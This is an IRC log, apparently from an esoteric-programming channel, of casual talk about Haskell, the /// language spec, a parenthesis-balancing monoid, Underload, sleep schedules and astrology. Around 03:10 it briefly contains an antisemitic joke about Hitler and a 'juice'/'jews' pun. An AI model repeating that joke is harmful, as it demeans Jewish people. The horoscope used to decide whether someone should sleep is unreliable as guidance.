02:12:31 <monqy> "balance me" - that
02:15:51 <shachaf> elliott_: Can someone please explain the difference between Lists, Arrays, Vectors, Sequences without going very deep in computer science theory of data structures?
02:16:25 <shachaf> elliott_: Are there any other forms of data structures that I am missing and might be useful?
02:17:11 <shachaf> elliott_: learning my Haskell, I read a couple of articles regarding performance differences of Haskell lists and (insert your language)'s arrays.
02:20:43 <Sgeo_> Does Clojure have any problems other than being on the JVM?
02:21:20 <shachaf> No. Other than this minor flaw, it's the perfect language.
02:22:09 <Sgeo_> elliott_, how is cl-stm?
02:22:26 <elliott_> but cl doesnt have a proper type system
02:22:30 <elliott_> it'll have the exact same problem
02:26:24 -!- [[[[[[[[ has quit (Quit: ]]]]]]]]]).
02:29:17 * ion googles JVM GAK. http://www.gak.co.uk/en/marshall-jvm-410h/4363
02:32:05 <ion> last child ' opera van java' gak seperti gayus tambunan by. Bad'Droys.mp4 http://youtu.be/H3LRCga-WpQ
02:42:01 <shachaf> kmc: By the way, I missed your call_cc post when you first posted out, but it's neat that you actually got it to work.
02:42:54 <shachaf> elliott_ would like to point out how the esolang wiki link is WRONG
02:42:58 <shachaf> But elliott_ always says things like that.
02:43:53 <kmc> esolang wiki link to what?
02:43:57 <kmc> oh, in my post
02:44:06 <kmc> yeah, it was a fun project
02:44:17 <kmc> i'm not actually sure these continuations are usable for anything but backtracking
02:44:34 <kmc> implementing backtracking with fork directly would be a good bit simpler
02:44:37 <shachaf> kmc: I'm surprised you didn't send continuation fds over UNIX sockets! :-)
02:44:42 * shachaf wonders whether that would actually work.
02:44:55 <kmc> i think i thought about that
02:45:00 <kmc> but decided it was insane
02:45:15 * shachaf imagines that kmc spends at least 15% of his time thinking about sending fds over UNIX sockets.
02:45:24 <kmc> i've only actually done it once
02:45:28 <kmc> that is, written one program that does it
02:45:48 <shachaf> I also did it once, though just to figure out how it worked.
02:45:51 <kmc> it's a pain in the ass
02:45:54 <shachaf> The API is kind of disgusting.
02:46:02 <kmc> super disgusting
02:46:19 <shachaf> I ended up with a function that was identical to http://swtch.com/usr/local/plan9/src/lib9/sendfd.c
02:46:34 <shachaf> Down to the type (almost).
02:46:53 <shachaf> And then I found that file -- would've been helpful if it'd worked the other way around.
02:47:22 <kmc> is this code supposed to run on unix or plan9 or both?
02:47:34 <shachaf> UNIX -- this is Plan 9 from User Space.
02:47:46 <shachaf> I don't think actual Plan 9 has a direct equivalent of sendfd.
02:48:08 <kmc> cool, i didn't know about Plan 9 from User Space
02:49:04 <shachaf> "plan9port" is the short name, I think.
02:53:10 <shachaf> elliott_: I think that you're going too deep in computer science theory of data structures.
02:58:29 * elliott_ considers inflicting MediaWiki 1.19.0beta1 on Esolang.
02:59:34 <elliott_> http://en.wikipedia.org/wiki/Haskell_(programming_language)#Criticism I love it when people stick awful "Criticism" sections on Wikipedia articles under the guise of the purely factual information everywhere else in the article being NPOV.
03:00:07 <elliott_> Apparently Simon Peyton Jones and Ben Lippmeier are Haskell critics. Did you know?
03:01:29 <ion> Hehe, indeed.
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03:02:50 <elliott_> I'm sure Harrop has used that one.
03:03:00 <elliott_> "HASKELL INVENTOR SPJ TURNS ON FALSE GOD HE CREATED"
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03:07:44 <shachaf> http://en.wikipedia.org/wiki/Elliott_Hird#Criticism
03:08:04 <Sgeo_> Yes, I clicked on that.
03:08:36 <shachaf> I don't thinks Sgeo_ can help clicking on any link that pops up.
03:10:14 <ion> Speaking of the channel topic, there’s a local bar named “Out of Juice”.
03:10:19 <ion> It’s Hitler’s favorite.
03:10:31 <elliott_> Ha ha ha, it's funny because "juice" sounds like "jews"!
03:21:28 <elliott_> shachaf: How was 1997 15 years ago?
03:22:27 <shachaf> I don't remember 1997 very well.
03:25:35 <fungot> elliott_: darn speaking in each other's abilities!) colors can help reading a lot about scheme48 right? but you can simulate downward continuations using longjmp, but you could
03:26:29 <ion> 1997 was horrible.
03:26:51 <Friendship> I have no memory of 1997. I was 11. I was probably learning C.
03:27:41 <shachaf> I have no memory of 1997. Friendship was 11. Friendship was probably learning "C".
03:28:32 <elliott_> Friendship: I see your bad taste in languages started early.
03:28:58 <Friendship> elliott_: MY FIRST LANGUAGE WAS BASIC MY SECOND LANGUAGE WAS LOGO
03:29:35 -!- Friendship has set topic: I sometimes fold paper. Then I put it on my head. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
03:31:13 <ion> I totally wanted to learn something else than BASIC when i was a kid but i had no chance to do that. The books i could find in the library were too advanced, i didn’t have mentor and i didn’t have the intertubes.
03:31:27 <elliott_> Friendship: Something something something something or else you'll bounce on a pogo?
03:36:23 <elliott_> AAAAAAAAAAAAAAAA MY FACE IMPLODE
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03:37:08 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
03:37:43 <lambdabot> elliott_ asked 7h 59m 49s ago: Does the /// program /// halt? It replaces all occurrences of the empty string in the empty string with the empty string.
03:38:11 <oerjan> elliott_: it's supposed to loop infinitely, i _think_ i finally fixed that in the interpreter
03:38:37 <elliott_> oerjan: erm i realise that empty source strings _in general_ loop forever
03:38:37 <oerjan> although that was for //.../, i'm not sure i checked ///
03:38:53 <elliott_> i'm not asking what the implementations do, just what's right :P
03:38:56 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
03:39:06 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
03:39:15 <EgoBot> perl (sending via DCC)
03:39:25 <elliott_> ...I just said I don't care what the implementation does
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03:39:38 <oerjan> elliott_: well i consider infinitely looping to be right.
03:39:46 <elliott_> the reason I ask is, I rewrote the /// article (apart from the examples) and it occurred to me that /// might actually should halt (totally valid grammar).
03:40:05 <oerjan> it's not like /a/a/ doesn't loop just because source = dest
03:41:18 <oerjan> hm i think that (?:...) was the fix so the irc interp is ok
03:41:31 <elliott_> btw i was wondering if /// could be made more elegant if substitutions weren't done "all at once"
03:41:40 <elliott_> which is to say, the program /a/b/aaa would evolve like this:
03:41:55 <elliott_> /a/b/aaa -> b/a/b/aa -> bb/a/b/a -> bbb/a/b/ -> bbb
03:41:59 <elliott_> (presumably with each b being printed along the way)
03:42:13 <elliott_> mostly because that gives a fairly obvious "rewrite" specification of it
03:42:31 <elliott_> /a/b/cd -> c/a/b/d (where a =/= c)
03:42:49 <oerjan> elliott_: some of the trouble is that there are elegant programs which return backwards in the string to substitute more.
03:43:18 <elliott_> anyway, feedback on the [[:///]] changes is welcome :)
03:43:35 <elliott_> i thought it was a shame that one of the best languages on the wiki had a rather bad introduction/spec.
03:43:45 <oerjan> although an efficient interpreter probably should detect when that _cannot_ happen
03:43:58 <oerjan> so as to not backtrack unnecessarily
03:44:43 <oerjan> ok, feedback on http://oerjan.nvg.org/esoteric/qdeql/BFQdeql.hs probably also welcome
03:45:04 <elliott_> oh, i noticed you finished it but forgot to check out the program
03:45:48 <elliott_> heh, I like how you handle the newlines formatting-wise in initCells
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03:46:17 <elliott_> oerjan: this is technically a redundant ($) btw
03:46:21 <elliott_> even if it looks really confusing without :(
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03:47:07 <elliott_> looks good to me, although naturally i don't understand the translation
03:47:33 <elliott_> i would probably put spaces around one-line qq'd strings since they're so symbol-y, but that's just me. (and does it strip trailing whitespace?)
03:47:50 <elliott_> also I'd put top-level signatures on everything, but, well, that's me. (I think -Wall complains if you don't, though)
03:47:51 <oerjan> btw i think one of those elegant /// programs is the unary to decimal converter used in the deadfish interpreter
03:48:13 <oerjan> elliott_: i didn't bother doing that for the string constants
03:48:50 <oerjan> elliott_: [s| only strips one initial newline
03:48:57 <elliott_> foo, bar, baz :: String would probably make it less ugly. but yes, it's hardly high priority
03:49:06 <elliott_> oerjan: well the documentation says it strips common initial whitespace
03:49:27 <oerjan> hm i'd forgotten you could have comma-separated type annotations outside records
03:49:47 <oerjan> elliott_: um that's not how i interpreted it
03:50:11 <elliott_> I must be thinking of one of the other packages I reviewed.
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04:01:41 <elliott_> oh, I didn't realise ais wrote the 99bob in ///
04:01:53 <elliott_> even if it is a cheat version.
04:02:23 <oerjan> well it was from before anyone knew if you could _make_ a non-cheat version
04:03:45 <oerjan> i assume that the stripping of one newline in string-qq is just so you can get the first line aligned with the others
04:04:02 * elliott_ wonders if ///-without-looping is TC
04:04:02 <oerjan> which is what i used it for
04:04:07 <elliott_> that is, it just replaces the first occurrence and stops
04:04:24 <elliott_> so the only way to get, e.g. an infinite loop would be to replicate a replacement forwards
04:04:40 <elliott_> do the standard replication techniques require multiple substitutions in one go?
04:04:52 <oerjan> sounds hard since quining requires you to make _two_ copies of stuff
04:05:38 <oerjan> in fact i think that trivial makes the program shorter at each step
04:06:09 <elliott_> what if it just does two iterations of the loop :D
04:06:22 <elliott_> i.e. "replace first (if any), replace first (if any)"
04:06:42 <oerjan> but then the question become how you can re-escape anything
04:07:28 <elliott_> keep the programs small enough, unroll the de-escaping loop :P
04:07:44 <elliott_> hm except i guess you have to de-escape that loop itself
04:09:16 <elliott_> out of curiosity, does the standard technique rely on /abc/.../ not replacing a\bc?
04:09:31 <elliott_> i.e. what if backslash escapes were "interpreted" properly by the substitution process
04:10:09 <oerjan> that's in fact the only way it distinguishes what to do with the two copies
04:11:16 <oerjan> the _original_ counter loop probably could be done without it, but that was rather awful
04:11:37 <elliott_> zzo38: did you invent REGXY? the wiki claims you do, but the person who added that claim gave no source, and while http://c2.com/cgi/wiki?RegXy links to your site, it only contains an implementation and some programs
04:12:23 * oerjan wonders if zzo38's client does nick pinging
04:15:09 <oerjan> oh actually the original counter loop depends on duplicating the reescaping code, which means if you ignore \ differences _they_ will clobber each other.
04:15:54 <oerjan> because that's also the only way two identical substitutions can avoid interfering
04:20:33 <elliott_> seems like removing anything from /// inevitably makes it sub-TC :P
04:23:03 <zzo38> elliott_: I don't remember
04:23:23 <zzo38> oerjan: What does nick pinging mean?
04:23:46 <oerjan> zzo38: it means that your client notifies you when your nick is mentioned
04:24:40 <zzo38> By default it doesn't do that, but there is /F command which can be used to highlight, ignore, or beep on, any sender/text/commands specified.
04:24:49 <oerjan> hm or maybe it actually denotes when others try to make it do that. anyway it's a common feature in clients.
04:25:39 <zzo38> The /F command is used for that purpose and other purposes.
04:26:01 <zzo38> Although you would probably put it in a macro if wanted to use it all the time in certain ways commonly.
04:29:06 <oerjan> i don't actually have a beep myself, i generally have sound off, but i think i once tried to get visual bell working but i couldn't get it right
04:29:43 <oerjan> there's red highlighting though
04:42:42 <elliott_> oerjan: did you ever look at the [[:///]] changes? :P
04:43:06 <oerjan> i haven't finished browsing the irc logs yet...
04:43:36 <elliott_> oh, they're pretty big today, aren't they
05:06:58 <oerjan> <Vorpal> <elliott_> Doesn't yours? <-- hm, exploding is more common than imploding in the Nordic countries. (Just ask oerjan)
05:07:05 <oerjan> it's because of the cold.
05:12:38 <oerjan> <Jafet> OCPD (Obsessive-compulsive personality disorder
05:13:33 <oerjan> that all reminds me of the parenthesis matching monoid i thought of while making the unlambda palindromifying algorithm
05:15:03 <oerjan> you just have words of ( and ), but remove all () combinations, recursively
05:15:37 <oerjan> which turns every word into the form ))))))...)(((((....(( with all )'s before all ('s
05:16:31 <oerjan> the unlambda version uses ` for ( and any other function for ), and there was some exceptional case as well
05:18:50 <oerjan> oh right you cannot allow appending `x. it was similar but eerily different.
05:20:08 <oerjan> anyway the thing about this monoid is you can do parenthesis matching on any substring, and find out what you need on each end to rebalance.
05:20:47 <oerjan> and of course calculate the balance of a concatenation from the balance of each argument
05:24:58 <oerjan> i thought this might be useful for incremental editors
05:27:48 * elliott_ is not sure what the monoid actually is.
05:30:41 <elliott_> hm except not quite, because ")(" shouldn't map to (1,1) should it?
05:30:47 <elliott_> or else you're not really ensuring _balance_
05:31:00 <oerjan> the Monoid measures how _imbalanced_ it is
05:31:12 <elliott_> (btw, this sounds like a Reducer)
05:31:54 <elliott_> instance Reducer String ParenCount where unit str = ParenCount (m, n) where ...
05:32:57 <oerjan> mempty = (0,0); (rx,lx) `mappend` (ry,ly) = (rx+max 0 (-b),ly+max 0 b) where b = lx-ry
05:34:21 <elliott_> it seems like you'd always want to use it Reducer-style, i.e. I'm not sure when mempty would be useful
05:35:17 <elliott_> http://hackage.haskell.org/packages/archive/reducers/0.1.8/doc/html/Data-Semigroup-Reducer.html (only unit matters)
05:35:20 <elliott_> it's the f in (foldMap f), basically
05:35:27 <elliott_> except you only need Semigroup, since mempty is never used
05:35:40 <elliott_> just any mapping of a type to a semigroup
05:35:49 <elliott_> in this case, from strings to this type
05:36:19 <elliott_> presumably you could then use foldReduce to check whether a string has balanced parens
05:36:21 <oerjan> elliott_: um mempty is the natural value for ""
05:36:35 <elliott_> ... i mean that mempty is never used directly.
05:36:44 <oerjan> or for anything containing no ( or )'s
05:37:00 <elliott_> yes, you use the Monoid part there
05:37:14 <elliott_> as reflected in "foldReduce :: (Foldable f, Monoid m, Reducer e m) => f e -> m"'s type
05:42:00 * elliott_ installs reducers to test this
05:43:17 <elliott_> @check \x y -> (x + max 0 (-y)) == (x - min 0 y)
05:50:16 <elliott_> oh there are some places I could use mempty I missed there
05:51:04 -!- MDude has changed nick to MSleep.
05:51:59 <elliott_> oerjan: in conclusion, since your monoid fits perfectly into a map-reduce pattern, I'm forced to deliver the terrible news that it's web scale.
05:52:25 <elliott_> councelling is available in the pure mathematics department.
05:52:52 <elliott_> oh, wait, you're not meant to use foldReduce
05:52:57 <elliott_> you have to use reduce to get the web scale
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06:16:33 <elliott_> oerjan is now 0% of the way through the infinite log we hooked up to a Markov chain generator.
06:17:11 <oerjan> no, i just finished the logs and Friendship's answers, and have loaded esolang
06:19:22 <elliott_> <_ttoille> elliott_, you're British right?
06:19:22 -!- elliott_ has left ("Leaving").
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06:20:29 <oerjan> _ttoille the anti-brit, your nemesis
06:21:18 <elliott_> <elliott_> What's with the nick?
06:21:22 * elliott_ wonders how sincere that question is.
06:21:29 <elliott_> * _ttoille is now known as H_ekiM
06:21:32 <elliott_> Apparently more than not at all.
06:26:37 <elliott_> http://meta.stackoverflow.com/questions/124968/how-to-solve-this-equation-using-newton-raphson-method-in-matlab
06:26:40 <elliott_> Click it while it's still around!!!
06:29:16 <elliott_> <H_ekiM> I want to be named Elliott too.
06:29:31 <Sgeo_> I have decided to worship SBCL over other Common Lisp implementations.
06:29:37 <Sgeo_> http://common-lisp.net/project/closer/repos/closer-mop/features.txt should explain why.
06:30:02 <elliott_> I thought my day couldn't get any better.
06:30:15 <elliott_> First I have some crazed IRC stalker, and now Sgeo_ has chosen SBCL as his one true god.
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06:32:23 <ais523> and what are you doing up at 6:30am?
06:33:38 <elliott_> it's more "still up" than "up"
06:33:53 <elliott_> i was even tired an hour ago. my life is a series of excellent decisions made by an idiot
06:34:31 <ais523> elliott_: I doubt I'm doing the same thing as you
06:34:42 <ais523> note that I /joined/ at 6:30am, rather than being here all night as usual
06:35:17 <oerjan> elliott_: ok i fixed a couple things in [:///]
06:36:55 <elliott_> i hope it's better than the previous text :P
06:37:34 <oerjan> well the previous was a little too succinct, although i'm wondering if the current is a little too verbose
06:37:53 <oerjan> it feels so imperative
06:38:03 <ais523> meanwhile, has anyone thought about Underload with /just/ () and lambdas?
06:38:49 <elliott_> oerjan: well i think you will find the previous text was imperative too
06:39:10 <elliott_> see http://esolangs.org/w/index.php?title=///&oldid=30182
06:39:33 <elliott_> ofc more importantly it's wildly imprecise :P
06:39:49 <oerjan> <elliott_> [...] my life is a series of excellent decisions made by an idiot <-- can i borrow that tagline
06:39:55 <Sgeo_> The Closer2MOP documentation LIED to me
06:40:36 <elliott_> oerjan: yes. there may be royalties.
06:40:46 <oerjan> elliott_: it's the description of how to read source and destination that feels that way
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06:41:22 <elliott_> yeah, it's a little ugly. otoh I can't think of any decent way to describe it better without the awkward imprecise parenthical escape-describing of the original.
06:41:51 <elliott_> in the end i went for precision over immediate clarity. perhaps the best thing would be a note that it's just a string up to / with escapes next to the verbosity
06:43:06 <ais523> oerjan: you can desugar lambdas into Underload code, right?
06:43:18 <oerjan> ais523: yes, i wrote a section on that
06:43:30 <ais523> so, you can express everything but () in terms of lambdas
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06:43:48 <ais523> actually, I also noticed independently that lambdas could be desugared into Underload
06:44:03 <ais523> but my syntax is x/(y/((x)(y)))
06:44:24 <ais523> making it postfix is more consistent, but harder to read ;)
06:44:34 <oerjan> ais523: actually () = [-] in my lambda syntax
06:45:04 <ais523> I guess most consistent of all would be (code)(variable)command
06:45:08 <ais523> but that would be almost completely unreadable
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06:46:21 <oerjan> ais523: oh wait no, [-] =
06:46:33 <oerjan> the surrounding parens aren't included
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06:46:47 <ais523> i.e. x/(x) is equivalent to ^
06:46:53 <ais523> (and (x/(x)) is equivalent to (^))
06:49:13 <ais523> the null string would be x/((x))
06:51:21 <elliott_> pls at least bracket the x/y somehow
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07:06:45 <elliott_> shachaf: Did you know there's a conspiracy to keep Hackage2 from being deployed based on rationalisations?
07:10:55 <shachaf> There is a vacuum of knowledge in my head in the spot dedicated to knowing about conspiracies to keep Hackage2 from being deployed based on rationalisations.
07:14:06 <shachaf> elliott_: Save the laughter for channels with... Less pressure.
07:14:38 <elliott_> <astor> If hackage used something like S3, and objects with versioning, then cost distribution would be flexible. If hackage didn't want to pay, you could just point to an S3 object.
07:14:55 <elliott_> Did you know that all of Hackage's trivially-solvable problems should be solved by moving to $WEB_2.0_TECH_THAT_WILL_REQUIRE_A_COMPLETE_REWRITE?
07:16:09 <zzo38> There is the way I have tried to design the "Ibtlfmm" package system; it is better than Haskell's system in my opinion, and does not require web 2.0 or anything else like that; no centralized system is required either, and no internet is necessarily required.
07:16:38 <zzo38> However it does use internet domain names and aliases for identification.
07:17:24 <zzo38> Possibly if they fixed Haskell compilers to support these kind of thing then it might be able to work, but currently it cannot work.
07:19:01 <ais523> elliott_: I think so :)
07:19:47 <elliott_> ais523: You're just saying that because I spammed the channel with laughter. :(
07:20:07 <zzo38> (For example, with my idea, "hello-world/0.1 example.org packages:" would be a valid package identifier)
07:20:22 <ais523> it's a sign you're tired
07:21:08 <elliott_> ais523: No way, I spam the channel literally all the time as long as oerjan hasn't spoken in the last fifteen minutes or so.
07:21:24 <oerjan> that would explain it.
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07:21:48 <elliott_> oerjan: No. Stop that. You're limiting my options by speaking.
07:22:42 <oerjan> not _overly_ limited, i'd say.
07:23:12 <elliott_> You just want me to wake up when it's dark.
07:23:18 <zzo38> Package names must start with a lowercase letter, and the names "root", "main", and any name beginning with "_", are reserved.
07:23:33 <oerjan> elliott_: keep a light on?
07:24:51 <oerjan> TAUTOLOGY IS NOT TAUTOLOGY
07:28:47 <elliott_> you feel like crap and then you still feel like crap the next second which means, thanks to that fucking Zeno, you felt like crap AN INFINITE NUMBER OF TIMES.
07:29:01 <elliott_> from this we can conclude that a second of being awake is literally infinitely terrible.
07:29:26 <ais523> I find walking out in the morning sunlight helps a lot
07:29:37 <ais523> I'll typically go for a 1-2 hour walk at 6am or so if I'm awake
07:29:45 <ais523> although this time I took the bus into work instead
07:30:11 <elliott_> no no no, thanks to sleep deprivation logic I hold a grudge against the sun for making it officially be too late to sleep at a reasonable time
07:31:09 <pikhq_> I find that nothing helps much.
07:31:48 <pikhq_> I have to both set an alarm *and* have cause to be up in order to maintain any sort of correlation with the sun.
07:32:06 * Sgeo_ is suddenly reminded of Solog
07:32:15 <pikhq_> If I don't need to be awake at any particular time, I *will* start waking at 5 pm.
07:32:37 <pikhq_> Heck, just over the course of the weekend I end up waking at 1 pm.
07:32:42 <Sgeo_> http://www.sollog.com/
07:33:00 <Sgeo_> (Warning: Autoplaying YouTube video)
07:33:17 <pikhq_> Admittedly, that's only 4 hours difference from my weekday time of consciousness ATM.
07:33:26 <Sgeo_> Hey, he made a correct prediction!
07:33:55 <Sgeo_> I cannot take his voice seriously.
07:35:16 <elliott_> ok im hold vote pikhq_ Sgeo_ ais523 oerjan zzo38 shachaf
07:35:33 <shachaf> elliott_: You just ignore everything I say anyway. :-(
07:35:54 <elliott_> Damn, zzo38 even used cold hard data to determine that.
07:36:02 <elliott_> shachaf: That response does not fit the valid format!!!
07:36:08 <Sgeo_> Actually, I don't know how to fix sleep cycles, so take my yes with a grain of salt.
07:36:10 <oerjan> i use cold hard _intuition_ so there
07:36:30 <elliott_> Sgeo_: Oh, there's no way this sleep cycle can be "fixed".
07:37:03 <shachaf> (\f.(\x.xx)(\x.f(xx))) (sleep cycle)
07:37:15 <ais523> elliott_: and my experience when I have a similar sleep cycle is, that it can't be fixed, but it can be temporarily stablised if you need to do so for some reason
07:37:32 <oerjan> all this is just proof that evolution is nonsense; humans really originated on another planet with a 26 hour day
07:37:37 <ais523> I can stabilise mine with two days' setup, for about three days at a time, until I end up feeling really tired
07:37:51 <elliott_> oerjan: i thought it was 25. is your slip slipping?
07:38:02 <oerjan> ok somewhere between 25-26
07:38:14 <pikhq_> elliott_: The dice say "no".
07:38:44 <Sgeo_> I'm actively screwing up my sleep cycle as we speak!
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07:39:13 <shachaf> elliott_: It goes back and forth between 25 and 26.
07:39:14 <pikhq_> I'm in the midst of an astonishingly normal chunk of sleep schedule.
07:39:20 <shachaf> elliott_: That's just oerjan's slip cycle.
07:39:30 <oerjan> my sleep cycle is currently approaching back to normal, although this will obviously be temporary.
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07:39:39 <pikhq_> I'm liable to get fucked up by Friday, mind you.
07:40:26 <pikhq_> It's nearly 1, and I'm actually sleepy.
07:40:45 <pikhq_> Probably helps that I got roughly 11 hours of sleep yesterday.
07:41:31 <shachaf> elliott_: Am I voting for what you *will* do or what you *should* do?
07:41:58 <shachaf> ais523: Tell elliott_ I'm no moralist.
07:42:06 <ais523> elliott_: shachaf says yes ;)
07:42:17 <elliott_> ok i guess i am convinced HOWEVER
07:42:27 <elliott_> if i wake up and it's dark and i feel like crap you guys are gonna regret it
07:42:31 <elliott_> to vote on your life decisions
07:42:45 <elliott_> you guys better start getting me to vote on your life decisions
07:43:10 <pikhq_> elliott_: sleep i should no yes?
07:43:15 <ais523> 7-8am is actually a common sort of time for me to go to sleep
07:43:28 <ais523> and it refreshes me better than sleeping at most other times of day
07:43:39 <ais523> even if/though it's probably dark when I wake up
07:44:04 <ais523> hmm, it probably will be light when you wake up, though; I predict you wake up at around 4-5pm
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07:51:23 <zzo38> I think it should be your own choice whether you want to wake up or to sleep.
07:53:21 <zzo38> But there are other ways, such as toss a coin, or some people try to answer yes/no questions by astrology or other forms of divination. And this actually seems one such question that I could try to answer by astrology; but this is *not* the kind of thing that people usually try to answer in this way (but to me is more reasonable than the questions other people try to answer in this way).
07:53:38 <zzo38> Voting is certainly one way.
07:54:08 <zzo38> But whether you want to wake up, you should just make up an answer yourself you shouldn't need to do anything else other than that; possibly look at the clock if it is necessary.
07:54:51 <Sgeo_> Flip a coin, you suddenly know what you really want to do?
07:55:12 <zzo38> But there are other ways if you want to (voting, toss a coin, look outside, astrology, chiromancy, tea leaves, or hitting yourself on the head and seeing whether or not you fall down).
08:00:52 <zzo38> Which way do you prefer?
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08:12:59 <ais523> zzo38: are you good enough at astrology to answer the question of when someone should go to sleep with it?
08:13:23 <zzo38> ais523: I think so. But I would require geographical coordinates to do so.
08:13:29 <Sgeo_> I prefer to set-funcallable-instance-function
08:13:40 <ais523> zzo38: Hexham, Northumberland
08:13:48 <zzo38> No, I need them in numbers.
08:14:02 <Sgeo_> MOP's over-elaborate way of dealing with the fact that funcall is not a generic function.
08:15:28 <zzo38> I computed the horoscope. No, you should not sleep.
08:16:41 <zzo38> (Some people want to use astrology to determine when to get married and what to buy and sell; I say it works not any better than tossing a coin in these cases.)
08:17:35 <zzo38> (Also visible from the horoscope, it is a full moon; but that is not relevant to your question.)
08:18:40 <ais523> hmm, does this mean that everyone in hexham should be awake right now?
08:19:39 <oerjan> the moon is fuuuuuuuuuuuuuuuuu.. sorry, full
08:19:39 <zzo38> Since that is the only useful information I can use to answer this question using astrology, it means, yes, *according to astrology*. (Other people may have better reasons to sleep right now, however.)
08:21:39 <zzo38> (At least, *according to my calculations using astrology*. In many questions, people can disagree with each other when using astrology. But this is one such question which seems to me that agreement should be more likely; but if other people want to do it differently, then fine, OK, do it your way.)
08:26:06 <zzo38> And please do not think astrology can answer all of your questions, regardless of what some people say. (For most questions it is not better than flipping a coin; but it is your choice, make your decision using whatever methods you prefer.) (Another possible use of astrology is someone once used it to make up a time of day of birth of a fictional character. This is one example of artistic astrology.)
08:33:32 <zzo38> The phase of the moon is one of the things which is very clear to deduce from a horoscope. (And since I have already told you the phase of the moon; you should be able to deduce from that, without looking, which astrological sign the moon is currently in. Please tell me what your guess is.)
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08:37:56 <ais523> the one opposite the sun, but I'm not sure what that's called
08:38:06 <oerjan> whichever comes after leo - i think it's virgo or libra?
08:38:25 <zzo38> Yes, you are correct; it is Virgo.
08:40:46 <zzo38> According to Wikipedia, "[the Placidus house system] was popularized by Catholic Church as an argument for Ptolemy's geocentric theory of the Solar System, in the campaign against the heliocentric theory."
08:43:49 <zzo38> That seems a strange way to do it
08:52:01 <zzo38> Have they ever heard of retrograde motion?
08:53:46 <ais523> possibly, but back then, I think it was a plausible theory to conclude that planets just did that sometimes
08:54:21 <zzo38> (Relative to the Earth, Mars and Saturn are currently in retrograde. Of course, the reason for this is that they orbit the Sun, not the Earth.)
08:54:35 <zzo38> ais523: But shouldn't they try to think of the question, why would they sometimes do that?
08:55:13 <ais523> there were loads of things people didn't know back then
08:55:20 <ais523> still are now, but there were more then
08:55:38 <Sgeo_> http://paste.lisp.org/display/128209 (my code) vs http://paste.lisp.org/display/128210 (PMD paper's code. Ignore the first annotation)
08:55:49 <zzo38> Yes, it is true, there are things in various fields of study, which people do not know even today.
08:57:09 <zzo38> ais523: But still, even if you don't know, if you know of retrograde motion, it would seem a reasonable question to ask why they are sometimes retrograde.
09:00:11 <zzo38> (The North Node is also currently in retrograde; but that isn't a physical object.)
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09:18:50 <fizzie> ais523: I was under the impression that retrograde motion was solved using those epicycles.
09:19:13 <ais523> the problem with epicycles being that they're orbit-complete
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09:22:12 <fizzie> And in fact Copernicus's heliocentric model also had epicycles in it to compensate for the circular orbits, IIRC.
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09:23:49 <fizzie> Sgeo_: http://images.businessweek.com/ss/07/03/0326_wrigley/image/orbit-complete-mint.jpg
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09:24:50 <oerjan> ais523: by orbit-complete, do you mean that if you heap enough of them on, you can get _any_ conceivable orbit?
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09:25:48 <oerjan> i vaguely recall something about that, that doing this is essentially a kind of fourier transformation of the actual orbit
09:26:23 <fizzie> FETW, the fast epicycle transformation library, for all your astronomical needs.
09:26:50 <zzo38> But now we can solve it using gravity, which works regardless of what the center of measurement is.
09:27:20 <fizzie> oerjan: An infinite series of epicycles is indeed the most elegant model.
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11:51:28 <ais523> hmm, tdwtf sidebar is great, they just taught me that the inverse femtobarn (fb^-1) is a unit that's actually used occasionally for non-ironic purposes
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16:31:01 <lambdabot> Phantom_Hoover: You have 3 new messages. '/msg lambdabot @messages' to read them.
16:34:17 <ais523> hey Phantom_Hoover, I created a BF derivative yesterday
16:34:24 <ais523> although it was in the context of seeing if a certain set of operations was TC
16:34:37 <ais523> it's BF, except that < rewinds to the first element on the tape rather than moving one square
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17:34:36 <elliott> "Note that String is a synonym for [Char] which explains the type error you got : – Jedai 6 hours ago
17:34:36 <elliott> the context "revComp [ _ ]" expects a [Char] in the " _ " spot (because revComp takes a [String]=[[Char]] as argument) but you put xs in this spot and xs was a [String]=[[Char]] since it comes from a pattern match of the argument of revComp. So [xs] type is [[String]]=[[[Char]]]. The actual type in the "_" spot was [[Char]] whereas the type needed (expected) by the context was only [Char]. Expected type : String=[Char], actual type : [String]=[[C
17:34:38 <elliott> har]]. And Char /= [Char], so you get your type error. – Jedai 6 hours ago"
17:34:50 * elliott thinks this would be a lot more helpful were it not all on one line.
17:35:18 <elliott> 07:44:04: <ais523> hmm, it probably will be light when you wake up, though; I predict you wake up at around 4-5pm
17:35:27 <elliott> ais523: 4:30 pm or so, so yep
17:35:54 <elliott> 08:15:28: <zzo38> I computed the horoscope. No, you should not sleep.
17:37:32 <elliott> ais523: yay, another legitimate user passed the captcha
17:37:45 <elliott> ais523: which means legitimate users are now tied with spammers for passing the registration captchas
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17:38:00 <elliott> more legitimate users than i thought
17:38:56 <elliott> ais523: why is Ytommyro93i not in http://esolangs.org/wiki/Special:Log/newusers?
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17:54:52 <ais523> elliott: did you merge them with deleted spam user?
17:55:51 <ais523> also, are you feeling good/bad about when you woke up?
17:55:51 <elliott> and even if I did, it wouldn't delete the log entry
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17:56:13 <elliott> bad enough that you're all doomed, good enough that I'm not going to doom you all just yet
17:58:48 <Friendship> Phantom_Hoover needs to work on his connection.
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18:05:20 <ais523> btw, anyone know why Slashdot sometimes interprets <i> as <blockquote>?
18:05:42 <elliott> and blockquotes are usually indented
18:06:02 <elliott> but sometimes Ctrl+I is interpreted for italics due to the first letter of "italic" being "i"
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18:08:22 <ais523> I would laugh so much if that was the reason
18:08:37 <ais523> because apparently being tired makes me pedantic
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18:10:43 * elliott thinks it's a perfectly plausible implausible explanation
18:11:13 <ais523> I'm wondering if they used to italicise quotes by default
18:11:25 <ais523> then decided to do an s/<i>/<blockquote>/g on their database
18:11:37 <ais523> to make them blockquotes instead
18:11:39 <elliott> ISTR quotes on slashdot being italic
18:11:58 <ais523> and apparently they did it even in the middle of a sentence
18:12:40 <elliott> maybe they did it at the start of a line
18:12:43 <elliott> someone who writes comments
18:12:49 <elliott> <i>wrapping manually</i> like this
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18:16:00 <ais523> except when my browser does it for me
18:16:05 * ais523 glares at SunOS Mozilla
18:16:23 <elliott> why did you use SunOS, again?
18:16:37 <elliott> wait, the reason is going to be really stupid, isn't it
18:17:15 <ais523> because it was a choice of SunOS and Windows and I was trying to run POSIXy stuff
